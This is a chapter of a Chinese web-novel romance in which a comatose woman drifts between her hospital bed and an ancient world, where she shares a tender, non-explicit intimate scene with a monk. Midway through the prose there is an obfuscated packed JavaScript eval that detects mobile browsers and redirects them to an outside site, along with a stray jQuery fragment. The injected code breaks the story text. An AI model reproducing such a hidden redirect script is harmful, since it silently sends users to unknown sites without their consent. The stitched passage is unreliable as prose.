“若生,你什么时候才会醒来?”
“你奶奶说你上次手指动了一下,马上就要醒了,我们都很高兴,但是马上是什么时候?你还记得我们约定要去玩吗?”
病床前,一身职业装的女性忧愁地握紧床上人的手,若生身穿病号服,犹如沉睡一般毫无反应。
“唉—”林知起身,拿起包准备离开。
“小林,吃点东西再走吧。”若生奶奶端着洗好的果盘进来。
“不了奶奶,我要去上班了。”林知上班的公司距离医院还有十公里的路程,她还得等公交回去。
她也才刚上班,没有多少钱,从包中取出了一千块硬塞给若生奶奶:“奶奶这些是给你的,您先别推拒,我知道医药费也贵,只能先帮这些了,要是不够的话记得跟我说,若生是我朋友,我一定会帮她的。”
阻拦住若生奶奶要塞回来的动作,林知赶着点跑掉了。
“奶奶,下个星期我再来!”
“诶!”望着她的背影,若生奶奶喃喃道:真是个好姑娘,孙女啊你什么时候才能醒啊。
林知走后,若生奶奶照例为若生擦着身子。
擦着擦着,她的泪水不由地顺着眼眶落下。
这些日子过的太不容易了,高昂的医药费就不是多少家庭能承担的,更何况若生父母并不愿意管她,她的爷爷奶奶也只好找人借钱再卖地用来治疗。
不久,若生父母再次打来了电话,语气强硬:“我们下星期就回来办理出院,没钱还熬什么,反正在医院也治不好,别说你们来管,棺材本赔进去了到时候还不是要我们给……
……
起先发现若生不对劲的是净光。
他躺在她的身侧,一阵过重的鼻息喷吐在他的肩颈处,又痒又热。
“奶奶、奶奶。”若生含糊不清地说着梦话。
梦中的她一直在奶奶身边,却是作为一缕魂魄,看着最亲近的亲人难过不已。
她的心也一揪一揪的。
“若生。”尉迟净光知道她做了噩梦,轻柔地抚摸她的额头,呼唤着她。
触手全是细汗,若生双眸紧闭,眼角不断涌出着泪花。
不知道梦到了什么,但他想感受她的情绪,遂轻吻上她的眼角,一股咸涩的味道涌上舌尖。
尉迟净光眸光流转,心上更是一疼,更是紧紧抱着她。
“若生,我在的。”
“净光在的,别害怕。”
额上一股温热的触感,扑面而来的是令人安心的檀香气息,若生睁开眼,平息着梦境中的震撼。
像是有一块磁石,连接着两个世界,不断吸引着她。
她有种强烈的感觉。
她就要回去了。
一边是等着她的亲人,一边是她所爱之人。她无法抉择,就像她无法控制来到这个世界一样,她也无法阻挡命运,回到原来的地方。
尉迟净光感觉到了怀中人的醒转,低下头去,映入眼帘的是她泪如泉涌,整个人被悲伤笼罩。
“什么噩梦这么可怕?都把胆大包天之人吓着了。”他抬手轻擦过她的脸颊,温和问。
往常性情冷淡的人,也会开着玩笑安慰她了。
若生感觉更加难受了,她很心疼,如果她走了净光该怎么办呢。
“净光,你真的不会哭么?”她没回答他的问题,身子错开些,指尖抵在他的脸上,缓缓摩蹭着。
如果不会哭,也许真有那一日,他便不会那么难受了。
指尖下的肌肤柔软,这让若生意识到他是真真切切存在的,而不是病床上那人的幻境。
尉迟净光按住她的小动作,痒痒的令他呼吸都变得凌乱,他深吐息,眸光深沉:“以往没有,但以后便不知道了。”
是了,佛不会有七情六欲,但他现在是人。
若生思绪翩翩,无意识逃出的手落在了他的胸膛上,紧致光滑。
他身形修长,掌下的肌肉紧绷。
若生没有意识到这一点,待意识到后悄无声息地挪开手,她自认为毫无所觉,耳畔却传来闷哼的叹息。
像是在遗憾。
心绪一起,若生双手托住他的脑袋:“那你现在哭给我看。”
犹如恶霸的语气,他的下颌轮廓分明,不似她的有软肉裹着,手里捏着也是硬硬的。
若生看不惯他这副坦然自若的表情,揪起他的脸颊朝下压去,看上去就像是委屈巴巴的样子,偏生他的表情还很冷静。
这么一看,更是反差巨大了。
本来称得上糟糕的心情瞬间坐上云霄,若生扑哧一声笑出声来。
“睡吧,别闹了,明日还需早起。”尉迟净光无奈道,扯开她的手,脸上残留着两道红痕。
“不行,我今夜非要叫你哭出声来。”脾气上来了,若生也是犟得可怕。
别人说她是牛都拉不动,尉迟净光以往还没甚感觉,这下倒是躺着难安。
要是让她发现了,他……真是羞耻至极。
尉迟净光扭过身去,作势不再理她,呼吸到的空气足以让他冷静下来。
他刚忍耐住几分,一具柔若无骨的身体爬上他的腰,划过一阵阵颤栗,这过程简直难熬。
“若生!”他转身呵斥道。
“怎么了?”若生正想从他身上爬到另一侧,谁知他突然转身,她忙撑住坐好。
“睡端正!”意识到她撑到了哪里,他的脸色骤黑,咬紧牙关呵斥道。
看见他严肃的眼神,就像今日教育无相一样,若生顿时有些委屈了:“我又不是你的弟子,为什么要听你的话。”
她控诉地拍了拍手下的肌肤,热气透过衣裳传到胸膛上。
尉迟净光呼吸渐渐重了起来,全身的火旺起,一股劲地往下涌去,头一回感觉到热锅上的蚂蚱感受,但他还是残存了一丝理智,放柔了声调:“我累了,我们早些睡好么?”
若生看着他似祈求的神色,点点头,也不好难为他。
正想从他身上爬下,脑中一刺。
消毒水的气味如此浓烈,以至于突然僵直的身体如此真实。
“孙女?”
她睁开眼,映入眼帘的是白色的床单,护士取下针管,一丝药水飞溅落地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493660|173906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若生努力想说些什么,声音却越来越远,眼皮也如此模糊……
她恍然回神,依旧是飘起的床帐。
发出微光的夜明珠,暖暖的光束照在身下人的脸上,如有神相,他的眼眸温柔,恍惚在眼前,又远在天边。
一股浓重的怅然若失之感在她心中久久不歇,若生紧紧抱住身下人,直到身体的僵硬逐渐消失,她能感受到他的温度,以及那颗砰砰跳动的心。
愈来愈烈,像是要跳出来。
这颗心,是在为她而舞。若生感受到了,吻上他的唇,一点一点地描绘着他好看的唇型。
只有这样的亲近,才能让她感觉他是真实的。
他一定是真实的。
若生用力地拥吻着。
一双手悄无声息地握住她纤细的腰身,将她紧紧贴上他,由开始的平静到震撼再到沉溺,自以为的坚韧,也不过分寸之间。
尉迟净光回应她,眸色翻涌,眼梢潋滟。
情不知所起,一往情深。
“你知道你在做什么?”微微扬起头,放过了险些窒息的怀中人,他将她扶起,情动被他稍微压住了些。
她睁开湿漉漉的眼睛,带着迷离的水光,像是迷失的仙子。
尉迟净光心直直掉落,喉结滚动了几分,他扭过头,带着几分倔强:“我是个男子,会对你……有邪念,经文有言淫火炽盛,便能燔烧诸善之本。我不能伤害你,更不能在你不知情时伤害你。” ①
听完这一番长篇大论,若生微喘着,扭头不解地“嗯”了声。
尉迟净光抿了抿唇,将她提起来放在一边,扭过身去:“睡吧,不早了。”
夜色渐深,不时还有几缕寒风自镂空窗缝中钻入,若生裹紧了被子,离开了他的怀抱更加冷了。
她茫然地看向背对着自己的尉迟净光,反应了好一会,才明白他是误以为自己不解他的情动,戳了戳他的后背,没反应。
若生也不管了:“净光不会以为我不懂男女情爱吧?大言不惭地说,你藏起来的那本避火图在我眼中简直是不值一提……”
随着他缓缓转过身的动作,若生的语气越来越不足,到最后面对着他怀疑的审视,若生直接捂住了嘴巴。
“若生可以继续说。”他一副看你还能说多少的态度,眼角微眯,散发着危险的气息。
“咳咳……”作为现代女性,身体反应在她眼中再正常不过了,但是这可是古代,尉迟净光一个古人,听到这么惊世骇俗的话,也难免震撼。
一时他只想问清楚到底什么值得她一提。
若生战略性地四处乱瞄,就是不将眼神放在他的身上:“我身上有些秘密,但是不能为外人道。你也无须问我,也许哪天我便写信告诉你了。我只想告诉你我什么都懂,我亦明白自己在做什么。”
方才一刹那,她很明显地感受到了灵魂的离开,就连回归的片刻也不似现实,她害怕自己突然的离开,更怕他就像是一场梦。
只有更亲近他,才能让她安心。
“我心悦净光,愿同净光共享鱼水之欢。”她浅笑道。